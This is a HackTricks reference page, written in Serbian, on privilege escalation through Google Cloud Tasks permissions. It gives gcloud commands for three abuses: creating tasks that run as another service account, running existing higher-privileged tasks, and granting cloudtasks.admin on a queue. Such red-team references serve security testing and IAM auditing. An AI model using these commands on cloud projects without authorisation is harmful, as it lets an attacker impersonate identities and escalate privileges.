GCP - Cloud Tasks Privesc

Reading time: 3 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

Napadač sa ovim dozvolama može imitirati druge servisne naloge kreiranjem zadataka koji se izvršavaju sa identitetom specificiranog servisnog naloga. Ovo omogućava slanje autentifikovanih HTTP zahteva ka IAM-zaštićenim Cloud Run ili Cloud Functions servisima.

bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com

cloudtasks.tasks.run, cloudtasks.tasks.list

Napadač sa ovim dozvolama može izvršavati postojeće zakazane zadatke bez da ima dozvole na servisnom nalogu povezanom sa zadatkom. Ovo omogućava izvršavanje zadataka koji su prethodno kreirani sa servisnim nalozima sa višim privilegijama.

bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>

Glavni koji izvršava ovu komandu ne treba iam.serviceAccounts.actAs dozvolu na servisnom nalogu zadatka. Međutim, ovo samo omogućava pokretanje postojećih zadataka - ne daje mogućnost kreiranja ili modifikovanja zadataka.

cloudtasks.queues.setIamPolicy

Napadač sa ovom dozvolom može dodeliti sebi ili drugim glavnim Cloud Tasks uloge na specifičnim redovima, potencijalno se uzdižući na roles/cloudtasks.admin koja uključuje mogućnost kreiranja i pokretanja zadataka.

bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin

Ovo omogućava napadaču da dodeli pune administratorske dozvole za Cloud Tasks na redu bilo kojem servisnom nalogu koji kontroliše.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks